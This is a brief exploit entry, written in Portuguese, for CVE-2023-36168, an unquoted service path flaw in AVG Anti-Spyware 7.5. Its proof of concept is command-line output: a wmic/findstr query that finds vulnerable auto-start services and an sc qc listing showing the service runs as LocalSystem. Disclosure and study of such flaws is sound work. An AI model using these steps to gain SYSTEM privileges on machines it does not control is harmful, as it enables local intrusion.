CVE-2023-36168

Um problema no AVG AVG Anti-Spyware v.7.5 permite que um atacante execute código arbitrário através de um script malicioso no componente guard.exe

Título do Exploit: AVG Anti Spyware 7.5 - Caminho de Serviço Sem Aspas

Data: 05/08/2023

Autor do Exploit: Idan Malihi

Homepage do Fornecedor: https://www.avg.com

Link do Software: https://www.avg.com/en-ww/homepage#pc

Versão: 7.5

Testado em: Microsoft Windows 10 Pro

CVE : CVE-2023-36168

#Prova de Conceito

C:\Users>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\" | findstr /i /v """ AVG Anti-Spyware Guard AVG Anti-Spyware Guard C:\Program Files (x86)\Grisoft\AVG Anti-Spyware 7.5\guard.exe Auto

C:\Users>sc qc "AVG Anti-Spyware Guard" [SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AVG Anti-Spyware Guard TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\Grisoft\AVG Anti-Spyware 7.5\guard.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : AVG Anti-Spyware Guard DEPENDENCIES : SERVICE_START_NAME : LocalSystem

C:\Users>systeminfo

Host Name: DESKTOP-LA7J17P OS Name: Microsoft Windows 10 Pro OS Version: 10.0.19042 N/A Build 19042 OS Manufacturer: Microsoft Corporation